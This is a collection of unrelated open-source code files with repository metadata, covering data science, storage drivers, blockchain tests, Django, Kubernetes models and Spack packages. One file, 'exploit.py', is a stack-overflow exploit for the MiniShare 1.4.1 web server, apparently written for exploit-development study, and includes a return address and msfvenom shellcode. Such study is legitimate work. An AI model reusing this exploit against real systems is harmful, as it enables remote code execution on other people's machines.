81417d1e31331bc5e1fd6e80ece00533191fd73c | 1,302 | py | Python | capture/prepare/stateset.py | ipendlet/SD2_DRP_ML | baa65fcef0650d2f0af40eec5aaff20b3e90b6c5 | [
"MIT"
] | 6 | 2019-02-11T15:38:40.000Z | 2020-10-16T19:26:51.000Z | capture/prepare/stateset.py | ipendlet/SD2_DRP_ML | baa65fcef0650d2f0af40eec5aaff20b3e90b6c5 | [
"MIT"
] | 65 | 2019-02-19T19:17:15.000Z | 2020-03-09T18:01:09.000Z | capture/prepare/stateset.py | ipendlet/SD2_DRP_ExperimentGen | baa65fcef0650d2f0af40eec5aaff20b3e90b6c5 | [
"MIT"
] | 2 | 2020-05-30T15:29:34.000Z | 2021-05-16T04:20:26.000Z | import pandas as pd
def augdescriptors(inchikeys, rxndict, erdfrows):
#bring in the inchi key based features for a left merge
with open('perov_desc.csv', 'r') as my_descriptors:
descriptor_df=pd.read_csv(my_descriptors)
descriptor_df=inchikeys.merge(descriptor_df, left_on='_rxn_organic-inchikey', r... | 54.25 | 120 | 0.718126 |
5d94dbb3398db3f07d235660aec6aa501dbdaa39 | 1,588 | py | Python | PythonApp/externals/WebScrapper/selenium_func.py | eternalamenity/FootballerPricePredictor | ee5875abef2f25d06a547d4c7148fc1d24e6b566 | [
"MIT"
] | null | null | null | PythonApp/externals/WebScrapper/selenium_func.py | eternalamenity/FootballerPricePredictor | ee5875abef2f25d06a547d4c7148fc1d24e6b566 | [
"MIT"
] | null | null | null | PythonApp/externals/WebScrapper/selenium_func.py | eternalamenity/FootballerPricePredictor | ee5875abef2f25d06a547d4c7148fc1d24e6b566 | [
"MIT"
] | null | null | null | #!/usr/bin/env python2
# -*- coding: utf-8 -*-
"""
=Selenium helper functions=
Use this functions to start and stop the Selenium server in every other module.
"""
from selenium import webdriver
import selenium.webdriver.chrome.service as service
"""
Path where the Selenium driver for your browser is saved.
Go to http... | 28.872727 | 93 | 0.723552 |
5c75e57fef0e14bf4799f0b71fbfbf0ae4f8d1c9 | 9,465 | py | Python | gnocchi/storage/s3.py | lamby/gnocchi | 87928a7c92d46b31bf0e8333064a4d0b83e6131b | [
"Apache-2.0"
] | null | null | null | gnocchi/storage/s3.py | lamby/gnocchi | 87928a7c92d46b31bf0e8333064a4d0b83e6131b | [
"Apache-2.0"
] | null | null | null | gnocchi/storage/s3.py | lamby/gnocchi | 87928a7c92d46b31bf0e8333064a4d0b83e6131b | [
"Apache-2.0"
] | null | null | null | # -*- encoding: utf-8 -*-
#
# Copyright © 2016-2018 Red Hat, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by ap... | 38.47561 | 79 | 0.564712 |
2bc97e01552e25cd34d90d4d8e3edf9643adc550 | 3,208 | py | Python | runner/xparams.py | alex-robinson/runner | 5e992ef7eaf82b4a69be8c6db9e572421323bc69 | [
"MIT"
] | 2 | 2019-06-01T11:21:37.000Z | 2019-11-18T22:55:39.000Z | runner/xparams.py | alex-robinson/runner | 5e992ef7eaf82b4a69be8c6db9e572421323bc69 | [
"MIT"
] | 2 | 2020-02-24T15:04:43.000Z | 2021-03-07T13:44:21.000Z | runner/xparams.py | alex-robinson/runner | 5e992ef7eaf82b4a69be8c6db9e572421323bc69 | [
"MIT"
] | 1 | 2021-03-03T19:27:33.000Z | 2021-03-03T19:27:33.000Z | # XParams
from collections import OrderedDict as odict
from runner.tools import DataFrame
from runner.resample import Resampler, RESAMPLING_METHOD, NEFF_BOUNDS
# Ensemble parameters
# NOTE: this XParams class could well be in another module and be simply imported,
# but for now it makes one module less...
class XPara... | 40.1 | 96 | 0.63217 |
e7ffdc34a6d02c394ea6b443de8050d6818a5617 | 1,394 | py | Python | 1-stack-overflows/remote/minishare-1.4.1/exploit.py | mostwantedduck/osed-1 | 112c719c86283cb735850d7cb6d05f42fa1c0a1a | [
"MIT"
] | 28 | 2021-05-31T13:41:12.000Z | 2022-03-29T06:19:18.000Z | 1-stack-overflows/remote/minishare-1.4.1/exploit.py | sradley/osed | 112c719c86283cb735850d7cb6d05f42fa1c0a1a | [
"MIT"
] | null | null | null | 1-stack-overflows/remote/minishare-1.4.1/exploit.py | sradley/osed | 112c719c86283cb735850d7cb6d05f42fa1c0a1a | [
"MIT"
] | 15 | 2021-05-28T07:39:34.000Z | 2022-03-09T19:09:28.000Z | #!/usr/bin/env python3
from pwn import *
pad = b'A' * 1787
# 0x74ff6c28: jmp esp;
ret = p32(0x75860000 + 0x6c28)
nop = b'\x90' * 64
# msfvenom -p windows/exec -b '\x00\x0d' -f py CMD=calc.exe
buf = b""
buf += b"\xba\x87\x2d\x18\x37\xda\xc2\xd9\x74\x24\xf4\x5f\x33"
buf += b"\xc9\xb1\x31\x31\x57\x13\x03\x57\x13\x8... | 37.675676 | 62 | 0.663558 |
776e297a1ca902ec101507d3e1aea6a6aaf64c37 | 610 | py | Python | store/migrations/0005_auto_20150815_1745.py | bharathramh92/easy-ecom | 164f1b6e11559386efef474c5f50d33b4ddea792 | [
"Apache-2.0"
] | null | null | null | store/migrations/0005_auto_20150815_1745.py | bharathramh92/easy-ecom | 164f1b6e11559386efef474c5f50d33b4ddea792 | [
"Apache-2.0"
] | null | null | null | store/migrations/0005_auto_20150815_1745.py | bharathramh92/easy-ecom | 164f1b6e11559386efef474c5f50d33b4ddea792 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('store', '0004_inventory_listing_end_datetime'),
]
operations = [
migrations.AlterField(
model_name='mainsubcateg... | 24.4 | 60 | 0.606557 |
31f24bac677aad8ddb192e03c12e860a1a0bdb0b | 954 | py | Python | Projects/fastfingers/hackit.py | Vinay26k/python | 9acfb8b6a2ba2dbe0621edf2260d29cc0e3b087d | [
"MIT"
] | 3 | 2019-02-22T12:57:15.000Z | 2021-08-07T16:27:47.000Z | Projects/fastfingers/hackit.py | Vinay26k/python | 9acfb8b6a2ba2dbe0621edf2260d29cc0e3b087d | [
"MIT"
] | null | null | null | Projects/fastfingers/hackit.py | Vinay26k/python | 9acfb8b6a2ba2dbe0621edf2260d29cc0e3b087d | [
"MIT"
] | 2 | 2019-04-27T06:02:12.000Z | 2020-12-16T14:50:41.000Z | from selenium import webdriver
from bs4 import BeautifulSoup
from time import sleep
path = r'C:\Users\lenovo\Documents\Vinay Python\github\selenium drivers\chromedriver.exe'
driver = webdriver.Chrome(path)
#change these
user = 'username'
pswd ='password'
taurl = r'https://10fastfingers.com/account/twitte... | 26.5 | 90 | 0.703354 |
2a79d854f33a2ac4d17f42613b8691bf557a1308 | 396 | py | Python | unfuddle/AppEngine/trackable/app.py | pdbartlett/misc-stuff | 0cebbbf30d13a070a663d58519e2dd5c35c765d2 | [
"Apache-2.0"
] | null | null | null | unfuddle/AppEngine/trackable/app.py | pdbartlett/misc-stuff | 0cebbbf30d13a070a663d58519e2dd5c35c765d2 | [
"Apache-2.0"
] | 1 | 2020-03-24T22:28:58.000Z | 2020-03-24T22:28:58.000Z | unfuddle/AppEngine/trackable/app.py | pdbartlett/misc-stuff | 0cebbbf30d13a070a663d58519e2dd5c35c765d2 | [
"Apache-2.0"
] | null | null | null | import wsgiref.handlers
from google.appengine.ext import webapp
import mainpage
import profilepage
import registerpage
def main():
application = webapp.WSGIApplication([
('/', mainpage.Page),
('/profile', profilepage.Page),
('/register', registerpage.Page),
], debug=True)
wsgiref.hand... | 20.842105 | 49 | 0.684343 |
1e3586c64da378a2d9d38302928411d5b5e04993 | 4,538 | py | Python | test/functional/sapling_mempool.py | ComputerCraftr/peps-new | e92cc732a96a567b66c0ce665a03496e15b2702d | [
"MIT"
] | 3 | 2021-07-08T20:51:48.000Z | 2021-12-19T01:35:23.000Z | test/functional/sapling_mempool.py | theabundancecoin/TACC | fd7d38c6a04dcb2da3b2755879b153b4731cddb2 | [
"MIT"
] | null | null | null | test/functional/sapling_mempool.py | theabundancecoin/TACC | fd7d38c6a04dcb2da3b2755879b153b4731cddb2 | [
"MIT"
] | 1 | 2021-07-25T22:35:58.000Z | 2021-07-25T22:35:58.000Z | #!/usr/bin/env python3
# Copyright (c) 2020 The PIVX Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
from test_framework.test_framework import PivxTestFramework
from test_framework.util import (
assert_equal,
... | 42.811321 | 114 | 0.659101 |
ce323b97068ed21757533f3de9b0c080b1946d21 | 2,763 | py | Python | wfsim/units.py | WenzDaniel/WFSim | 89d8ea149215a158b48b1d38c72af1a2f1e9c5c0 | [
"BSD-3-Clause"
] | null | null | null | wfsim/units.py | WenzDaniel/WFSim | 89d8ea149215a158b48b1d38c72af1a2f1e9c5c0 | [
"BSD-3-Clause"
] | null | null | null | wfsim/units.py | WenzDaniel/WFSim | 89d8ea149215a158b48b1d38c72af1a2f1e9c5c0 | [
"BSD-3-Clause"
] | null | null | null | """Define unit system for pax (i.e., seconds, etc.)
This sets up variables for the various unit abbreviations, ensuring we always
have a 'consistent' unit system. There are almost no cases that you should
change this without talking with a maintainer.
"""
from __future__ import division
# From physics.nist.gov, Janu... | 19.735714 | 77 | 0.475208 |
890b060d60c62c0beb6cf2f5884804ea67aacfd0 | 246 | py | Python | setup.py | dgitts/electric-load-forecasting | 9fd6ccac52d76d6395fd8650b8380ab5122aef41 | [
"MIT"
] | null | null | null | setup.py | dgitts/electric-load-forecasting | 9fd6ccac52d76d6395fd8650b8380ab5122aef41 | [
"MIT"
] | null | null | null | setup.py | dgitts/electric-load-forecasting | 9fd6ccac52d76d6395fd8650b8380ab5122aef41 | [
"MIT"
] | null | null | null | from setuptools import find_packages, setup
setup(
name='src',
packages=find_packages(),
version='0.1.0',
description='Energy load forecasting for commercial buildings.',
author='Colaberry DS3 Aug 2021',
license='MIT',
)
| 22.363636 | 68 | 0.691057 |
94fb806eca46c20e3a8cea6c824b16b622473846 | 2,370 | py | Python | watertap/examples/flowsheets/case_studies/wastewater_resource_recovery/electrochemical_nutrient_removal/multi_sweep.py | kurbansitterley/watertap | 1a8986a779bdcb36f1481f03eed24c6c42d26481 | [
"BSD-3-Clause-LBNL"
] | null | null | null | watertap/examples/flowsheets/case_studies/wastewater_resource_recovery/electrochemical_nutrient_removal/multi_sweep.py | kurbansitterley/watertap | 1a8986a779bdcb36f1481f03eed24c6c42d26481 | [
"BSD-3-Clause-LBNL"
] | null | null | null | watertap/examples/flowsheets/case_studies/wastewater_resource_recovery/electrochemical_nutrient_removal/multi_sweep.py | kurbansitterley/watertap | 1a8986a779bdcb36f1481f03eed24c6c42d26481 | [
"BSD-3-Clause-LBNL"
] | null | null | null | ###############################################################################
# WaterTAP Copyright (c) 2021, The Regents of the University of California,
# through Lawrence Berkeley National Laboratory, Oak Ridge National
# Laboratory, National Renewable Energy Laboratory, and National Energy
# Technology Laboratory ... | 32.916667 | 179 | 0.679747 |
1190d764039a191d28d54b686a278795cfe72845 | 2,344 | py | Python | test/pyaz/iot/hub/routing_endpoint/__init__.py | bigdatamoore/py-az-cli | 54383a4ee7cc77556f6183e74e992eec95b28e01 | [
"MIT"
] | null | null | null | test/pyaz/iot/hub/routing_endpoint/__init__.py | bigdatamoore/py-az-cli | 54383a4ee7cc77556f6183e74e992eec95b28e01 | [
"MIT"
] | 9 | 2021-09-24T16:37:24.000Z | 2021-12-24T00:39:19.000Z | test/pyaz/iot/hub/routing_endpoint/__init__.py | bigdatamoore/py-az-cli | 54383a4ee7cc77556f6183e74e992eec95b28e01 | [
"MIT"
] | null | null | null | import json, subprocess
from .... pyaz_utils import get_cli_name, get_params
def create(hub_name, endpoint_name, endpoint_type, endpoint_resource_group, endpoint_subscription_id, connection_string=None, container_name=None, encoding=None, resource_group=None, batch_frequency=None, chunk_size=None, file_name_format=No... | 39.066667 | 313 | 0.6907 |
194ba122619056ba71cbec6542fccb01ebe8d97e | 13,070 | py | Python | tests/dashboard_tests.py | MukaJiTrue/incubator-superset | e2854994bae0e390bfbf446c94ccb4a86792220b | [
"Apache-2.0"
] | 2 | 2021-04-14T01:20:33.000Z | 2021-07-01T16:38:25.000Z | tests/dashboard_tests.py | sleepyhton/incubator-superset | 3c17dac35a169afafe0ae3fbfd74618eacb4e642 | [
"Apache-2.0"
] | 37 | 2020-03-24T16:43:05.000Z | 2022-03-24T04:31:53.000Z | tests/dashboard_tests.py | sleepyhton/incubator-superset | 3c17dac35a169afafe0ae3fbfd74618eacb4e642 | [
"Apache-2.0"
] | 1 | 2019-06-05T10:15:05.000Z | 2019-06-05T10:15:05.000Z | """Unit tests for Superset"""
import json
import unittest
from flask import escape
from superset import db, security_manager
from superset.connectors.sqla.models import SqlaTable
from superset.models import core as models
from .base_tests import SupersetTestCase
class DashboardTests(SupersetTestCase):
def __in... | 34.036458 | 80 | 0.579265 |
e8d777f9adf55581baffc4eb4e74d8724888b497 | 2,650 | py | Python | scripts/visualize_segments.py | shiyoung77/symseg | bc68de2bf6ac34b56dc7f29d133f2ca22e1fd975 | [
"BSD-3-Clause"
] | null | null | null | scripts/visualize_segments.py | shiyoung77/symseg | bc68de2bf6ac34b56dc7f29d133f2ca22e1fd975 | [
"BSD-3-Clause"
] | null | null | null | scripts/visualize_segments.py | shiyoung77/symseg | bc68de2bf6ac34b56dc7f29d133f2ca22e1fd975 | [
"BSD-3-Clause"
] | null | null | null | import os
import argparse
import numpy as np
import open3d as o3d
import networkx as nx
def filter_segments(segments):
segments = [set(segment) for segment in segments]
N = len(segments)
print(f"number of segments before filtering: {N}")
G = nx.Graph()
G.add_nodes_from(range(N))
for i in ra... | 34.868421 | 125 | 0.666038 |
7c604b7b0343c1a2565fc4f8abcae24dabc7b1da | 5,825 | py | Python | build/env/lib/python2.7/site-packages/windmill-1.3-py2.7.egg/windmill/browser/__init__.py | lumanjiao/XLS_BigData | 2c4c37872b8636df1c8b0e005bc12a635a753c7a | [
"Apache-2.0"
] | 11 | 2019-03-20T07:38:35.000Z | 2021-06-18T09:42:46.000Z | build/env/lib/python2.6/site-packages/windmill-1.3-py2.6.egg/windmill/browser/__init__.py | lockhart39/HueQualityAndIngestionApp | c75e55a43a8bdeb7aa0f5bf2101ec72b01dcac1c | [
"Apache-2.0"
] | null | null | null | build/env/lib/python2.6/site-packages/windmill-1.3-py2.6.egg/windmill/browser/__init__.py | lockhart39/HueQualityAndIngestionApp | c75e55a43a8bdeb7aa0f5bf2101ec72b01dcac1c | [
"Apache-2.0"
] | 5 | 2019-06-29T03:13:02.000Z | 2020-04-23T04:47:11.000Z | # Copyright (c) 2006-2007 Open Source Applications Foundation
# Copyright (c) 2008-2009 Mikeal Rogers <mikeal.rogers@gmail.com>
# Copyright (c) 2009 Domen Kozar <domen@dev.si>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.... | 39.09396 | 137 | 0.671416 |
195e5eb29267220c9fe00eb0f89deac36067d74f | 286 | py | Python | tests/integration/aiohttp_utils.py | Rippling/vcrpy | 69dd6e7c1e9fec9b3390a2423e605293dc58003d | [
"MIT"
] | null | null | null | tests/integration/aiohttp_utils.py | Rippling/vcrpy | 69dd6e7c1e9fec9b3390a2423e605293dc58003d | [
"MIT"
] | null | null | null | tests/integration/aiohttp_utils.py | Rippling/vcrpy | 69dd6e7c1e9fec9b3390a2423e605293dc58003d | [
"MIT"
] | null | null | null | import asyncio
@asyncio.coroutine
def aiohttp_request(session, method, url, as_text, **kwargs):
response = yield from session.request(method, url, **kwargs) # NOQA: E999
return response, (yield from response.text()) if as_text else (yield from response.json()) # NOQA: E999
| 35.75 | 108 | 0.723776 |
431d8d77a9a2ab0f9cef81a155d0e75224f78282 | 4,690 | py | Python | corehq/apps/change_feed/topics.py | akashkj/commcare-hq | b00a62336ec26cea1477dfb8c048c548cc462831 | [
"BSD-3-Clause"
] | null | null | null | corehq/apps/change_feed/topics.py | akashkj/commcare-hq | b00a62336ec26cea1477dfb8c048c548cc462831 | [
"BSD-3-Clause"
] | null | null | null | corehq/apps/change_feed/topics.py | akashkj/commcare-hq | b00a62336ec26cea1477dfb8c048c548cc462831 | [
"BSD-3-Clause"
] | null | null | null | from kafka.common import OffsetRequestPayload
from corehq.apps.app_manager.util import app_doc_types
from corehq.apps.change_feed.connection import get_simple_kafka_client
from corehq.apps.change_feed.exceptions import UnavailableKafkaOffset
from corehq.form_processor.models import XFormInstanceSQL
DOMAIN = 'domain'
... | 33.5 | 124 | 0.696802 |
b74a1e0cca76602597ab33ce92cb74cb847e1ccc | 26 | py | Python | rio_viz/ressources/__init__.py | geospatial-jeff/rio-viz | 84aee810e5d6eb8b95a6a230ea56ddd65ffaebc6 | [
"MIT"
] | null | null | null | rio_viz/ressources/__init__.py | geospatial-jeff/rio-viz | 84aee810e5d6eb8b95a6a230ea56ddd65ffaebc6 | [
"MIT"
] | null | null | null | rio_viz/ressources/__init__.py | geospatial-jeff/rio-viz | 84aee810e5d6eb8b95a6a230ea56ddd65ffaebc6 | [
"MIT"
] | null | null | null | """titiler ressources."""
| 13 | 25 | 0.653846 |
bdb74fde41c500b91ae7315f8ba118dcf6464215 | 7,099 | py | Python | kubernetes/client/models/v1_controller_revision_list.py | carloscastrojumo/python | f461dd42d48650a4ae1b41d630875cad9fcb68ad | [
"Apache-2.0"
] | 2 | 2021-03-09T12:42:05.000Z | 2021-03-09T13:27:50.000Z | kubernetes/client/models/v1_controller_revision_list.py | carloscastrojumo/python | f461dd42d48650a4ae1b41d630875cad9fcb68ad | [
"Apache-2.0"
] | 7 | 2021-04-13T03:04:42.000Z | 2022-03-02T03:10:18.000Z | kubernetes/client/models/v1_controller_revision_list.py | carloscastrojumo/python | f461dd42d48650a4ae1b41d630875cad9fcb68ad | [
"Apache-2.0"
] | 1 | 2019-07-05T07:54:10.000Z | 2019-07-05T07:54:10.000Z | # coding: utf-8
"""
Kubernetes
No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501
The version of the OpenAPI document: release-1.17
Generated by: https://openapi-generator.tech
"""
import pprint
import re # noqa: F401
import si... | 34.461165 | 312 | 0.634878 |
216ecf0f1e333ebcd50362f20c84e83d9e997fb3 | 1,955 | py | Python | fabfile.py | sporsh/carnifex | 82dd3bd2bc134dfb69a78f43171e227f2127060b | [
"MIT"
] | 4 | 2015-12-21T00:59:22.000Z | 2021-02-08T02:33:52.000Z | fabfile.py | sporsh/carnifex | 82dd3bd2bc134dfb69a78f43171e227f2127060b | [
"MIT"
] | null | null | null | fabfile.py | sporsh/carnifex | 82dd3bd2bc134dfb69a78f43171e227f2127060b | [
"MIT"
] | 1 | 2017-03-24T09:12:45.000Z | 2017-03-24T09:12:45.000Z | from fabric.api import local
TESTS_PATH = 'test'
def test(path=TESTS_PATH, coverage=False, nosetup=False, *args, **kwargs):
nosetests(path, coverage, *args, **kwargs)
if not nosetup:
local("python setup.py check")
def nosetests(path=TESTS_PATH, coverage=False):
"""Run tests using nosetests with o... | 26.780822 | 76 | 0.539642 |
06f951fec73ace15982a9fe04f0f17106f8d37d4 | 6,540 | py | Python | ClarenceData/sensor data/Plot.py | acse-2020/acse2020-acse9-finalreport-acse-yl2020 | 310287b8d0e6347895047e2766b4b6fc1be24716 | [
"Apache-2.0"
] | null | null | null | ClarenceData/sensor data/Plot.py | acse-2020/acse2020-acse9-finalreport-acse-yl2020 | 310287b8d0e6347895047e2766b4b6fc1be24716 | [
"Apache-2.0"
] | null | null | null | ClarenceData/sensor data/Plot.py | acse-2020/acse2020-acse9-finalreport-acse-yl2020 | 310287b8d0e6347895047e2766b4b6fc1be24716 | [
"Apache-2.0"
] | 1 | 2022-01-29T17:06:14.000Z | 2022-01-29T17:06:14.000Z | #!/usr/bin/env python3.8
#//////////////////////////////////////////////////////
#-- Dr Laetitia Mottet
# Applied Modelling and Computation Group
# Department of Earth Science and Engineering
# Imperial College London
# l.mottet@imperial.ac.uk
# laetitia.mottet@gmail.com
#//////////////////////////... | 34.240838 | 173 | 0.48792 |
32553253537a8c932ffa1c0c19ded0f0d3121154 | 908 | py | Python | 100 Curso aulapharos/008 BibliotecasModulos/005 Spyder scikit-learn/scikit-learn004.py | malcabaut/AprendiendoPython | b1e8731f1614b08b5ace1b7d1ecbeb041b21f28b | [
"MIT"
] | null | null | null | 100 Curso aulapharos/008 BibliotecasModulos/005 Spyder scikit-learn/scikit-learn004.py | malcabaut/AprendiendoPython | b1e8731f1614b08b5ace1b7d1ecbeb041b21f28b | [
"MIT"
] | null | null | null | 100 Curso aulapharos/008 BibliotecasModulos/005 Spyder scikit-learn/scikit-learn004.py | malcabaut/AprendiendoPython | b1e8731f1614b08b5ace1b7d1ecbeb041b21f28b | [
"MIT"
] | null | null | null | from sklearn import metrics
import numpy as np
import matplotlib.pyplot as plt
from sklearn.linear_model import LinearRegression
from sklearn.model_selection import train_test_split
import pandas as pd
USAhousing = pd.read_csv('USA_Housing.csv')
X = USAhousing[['Avg. Area Income', 'Avg. Area House Age', 'Avg. Ar... | 47.789474 | 139 | 0.773128 |
91efeb21d07467bf90ae566741198e2f781b0ab3 | 894 | py | Python | test/test_fixed_asset_input.py | altoyield/python-beanieclient | 448b8dd328054eaf32dd7d0bdff700e603b5c27d | [
"Apache-2.0"
] | null | null | null | test/test_fixed_asset_input.py | altoyield/python-beanieclient | 448b8dd328054eaf32dd7d0bdff700e603b5c27d | [
"Apache-2.0"
] | null | null | null | test/test_fixed_asset_input.py | altoyield/python-beanieclient | 448b8dd328054eaf32dd7d0bdff700e603b5c27d | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
"""
Beanie ERP API
An API specification for interacting with the Beanie ERP system # noqa: E501
OpenAPI spec version: 0.2
Contact: dev@bean.ie
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import unittest
import be... | 21.804878 | 81 | 0.700224 |
251d87331e8040de8b5fd2f18b72cb0129f34d0c | 94,153 | py | Python | pype/modules/ftrack/events/event_sync_to_avalon.py | Yowza-Animation/pype | 0212fa8357e6ffd490230193e69e101aaf262587 | [
"MIT"
] | null | null | null | pype/modules/ftrack/events/event_sync_to_avalon.py | Yowza-Animation/pype | 0212fa8357e6ffd490230193e69e101aaf262587 | [
"MIT"
] | null | null | null | pype/modules/ftrack/events/event_sync_to_avalon.py | Yowza-Animation/pype | 0212fa8357e6ffd490230193e69e101aaf262587 | [
"MIT"
] | null | null | null | import os
import collections
import copy
import queue
import time
import datetime
import atexit
import traceback
from bson.objectid import ObjectId
from pymongo import UpdateOne
from avalon import schema
from pype.modules.ftrack.lib import avalon_sync
from pype.modules.ftrack.lib.avalon_sync import (
CUST_ATTR_I... | 37.347481 | 79 | 0.530052 |
77ffc0b91655fc773614ec3d6f7cd5d255460bca | 15,071 | py | Python | test_angle_file/test_single_example.py | Chenli235/AngleCorrection_Unet | 49fb2eba653c20d6299902e73d6b1a8c42ad50ca | [
"Apache-2.0"
] | null | null | null | test_angle_file/test_single_example.py | Chenli235/AngleCorrection_Unet | 49fb2eba653c20d6299902e73d6b1a8c42ad50ca | [
"Apache-2.0"
] | null | null | null | test_angle_file/test_single_example.py | Chenli235/AngleCorrection_Unet | 49fb2eba653c20d6299902e73d6b1a8c42ad50ca | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Sun Jul 25 09:40:42 2021
@author: chen li
"""
import torch
import torch.nn as nn
import torch.nn.functional as F
import numpy as np
from model import Unet_defocus
import skimage.io
import skimage.transform
import skimage.color
import skimage
import logging
import ... | 41.065395 | 154 | 0.613562 |
e11a0f4aeeb952c2b8f7cc3c68152d9fe134557c | 15,215 | py | Python | src/deprecated/int/parser.py | dilynfullerton/tr-A_dependence_plots | 4a03664f1cc9552787bd9cb39d1409b507f10777 | [
"CC0-1.0"
] | 1 | 2016-07-20T08:47:27.000Z | 2016-07-20T08:47:27.000Z | src/deprecated/int/parser.py | dilynfullerton/tr-A_dependence_plots | 4a03664f1cc9552787bd9cb39d1409b507f10777 | [
"CC0-1.0"
] | null | null | null | src/deprecated/int/parser.py | dilynfullerton/tr-A_dependence_plots | 4a03664f1cc9552787bd9cb39d1409b507f10777 | [
"CC0-1.0"
] | null | null | null | """int/parser.py
Functions for parsing interaction files and extracting information from
their file names
"""
from __future__ import print_function
from parse import get_files_r, filename_elts_list, elt_from_felts
from parse import content_lines, comment_lines
from constants import FN_PARSE_INT_ELT_SPLIT as ELT_SPLIT... | 38.0375 | 79 | 0.689648 |
1c714f257594d11da3f3823cb431af1b03347fa6 | 4,637 | py | Python | LogisticRegression/lr.py | Marticles/ml-in-action | 7b8a13fdd73a210ee4338dce400bd764eb9abf75 | [
"MIT"
] | null | null | null | LogisticRegression/lr.py | Marticles/ml-in-action | 7b8a13fdd73a210ee4338dce400bd764eb9abf75 | [
"MIT"
] | null | null | null | LogisticRegression/lr.py | Marticles/ml-in-action | 7b8a13fdd73a210ee4338dce400bd764eb9abf75 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import numpy as np
import matplotlib.pyplot as plt
# 《机器学习实战》 - 第5章 - Logistic回归
# 示例1:采用梯度上升法找到Logistic回归分类器的最佳回归系数
def loadDataSet():
"""
读取数据集
"""
dataMat = []
labelMat = []
fr = open('TestSet.txt')
for line in fr.readlines():
lineArr = line.strip().spli... | 26.346591 | 101 | 0.586586 |
d9c57904cabc15c081975c093dd3d77c32947bfd | 2,456 | py | Python | segmentation/train/trainTorch.py | enjoy-the-science/brain-texts | 2f90cff6b7efd610791b278579c62ba802eb0f02 | [
"MIT"
] | null | null | null | segmentation/train/trainTorch.py | enjoy-the-science/brain-texts | 2f90cff6b7efd610791b278579c62ba802eb0f02 | [
"MIT"
] | null | null | null | segmentation/train/trainTorch.py | enjoy-the-science/brain-texts | 2f90cff6b7efd610791b278579c62ba802eb0f02 | [
"MIT"
] | null | null | null | from segmentation.model.Unet224Torch import Unet224Torch
from segmentation.utils.ARDataset import ARDataset
from segmentation.utils.metrics import JaccardBCELoss, jaccard_metric
from segmentation.train.TrainerTorchUNET224 import TrainerTorchUNET224
from segmentation.utils.utils import split_train_test_data
import torc... | 36.656716 | 129 | 0.680782 |
b850a2ecf85ab9f6353814effa2c4add66ffc821 | 695 | py | Python | api/admin.py | chikjib/Django-Rest-Api | 5abeee768fe5e69ea474034c583388728745524c | [
"MIT"
] | null | null | null | api/admin.py | chikjib/Django-Rest-Api | 5abeee768fe5e69ea474034c583388728745524c | [
"MIT"
] | null | null | null | api/admin.py | chikjib/Django-Rest-Api | 5abeee768fe5e69ea474034c583388728745524c | [
"MIT"
] | null | null | null | from django.contrib import admin
from .models import Post, Category, Comment
# from django.contrib.auth.admin import UserAdmin
class PostAdmin(admin.ModelAdmin):
list_display = ('title', 'body', 'featured_image')
prepopulated_fields = {'slug': ('title',)}
class CategoryAdmin(admin.ModelAdmin... | 28.958333 | 75 | 0.710791 |
bea7851fb60d4ec9b5ce36f83df8a16ef4e1cc2a | 328 | py | Python | covid19yemen/config/docs.py | alkuhlani/covid19yemen | 7703b548a18479998b40da65f00c3f5035b77d91 | [
"MIT"
] | null | null | null | covid19yemen/config/docs.py | alkuhlani/covid19yemen | 7703b548a18479998b40da65f00c3f5035b77d91 | [
"MIT"
] | null | null | null | covid19yemen/config/docs.py | alkuhlani/covid19yemen | 7703b548a18479998b40da65f00c3f5035b77d91 | [
"MIT"
] | null | null | null | """
Configuration for docs
"""
# source_link = "https://github.com/[org_name]/covid19yemen"
# docs_base_url = "https://[org_name].github.io/covid19yemen"
# headline = "App that does everything"
# sub_heading = "Yes, you got that right the first time, everything"
def get_context(context):
context.brand_html = "covid1... | 27.333333 | 68 | 0.734756 |
754adeffecd2ac37c1e4d822b9e25cd1aae41971 | 117 | py | Python | main/request/reset_password.py | nguyentranhoan/uit-mobile | 8546312b01373d94cf00c64f7eacb769e0f4ccce | [
"BSD-3-Clause"
] | null | null | null | main/request/reset_password.py | nguyentranhoan/uit-mobile | 8546312b01373d94cf00c64f7eacb769e0f4ccce | [
"BSD-3-Clause"
] | null | null | null | main/request/reset_password.py | nguyentranhoan/uit-mobile | 8546312b01373d94cf00c64f7eacb769e0f4ccce | [
"BSD-3-Clause"
] | null | null | null | from pydantic import BaseModel, EmailStr
class ResetPassword(BaseModel):
email: EmailStr
new_password: str
| 16.714286 | 40 | 0.769231 |
2d4d3ccbc174ef1c1bc8577f6931b8afc6deaa85 | 3,470 | py | Python | var/spack/repos/builtin/packages/minigmg/package.py | player1537-forks/spack | 822b7632222ec5a91dc7b7cda5fc0e08715bd47c | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] | 3 | 2021-09-29T02:14:40.000Z | 2022-01-27T20:50:36.000Z | var/spack/repos/builtin/packages/minigmg/package.py | player1537-forks/spack | 822b7632222ec5a91dc7b7cda5fc0e08715bd47c | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] | 8 | 2022-02-28T11:30:18.000Z | 2022-03-23T19:34:56.000Z | var/spack/repos/builtin/packages/minigmg/package.py | player1537-forks/spack | 822b7632222ec5a91dc7b7cda5fc0e08715bd47c | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] | null | null | null | # Copyright 2013-2022 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
class Minigmg(Package):
"""miniGMG is a compact benchmark for understanding the performance
challenges associated... | 34.7 | 104 | 0.634006 |
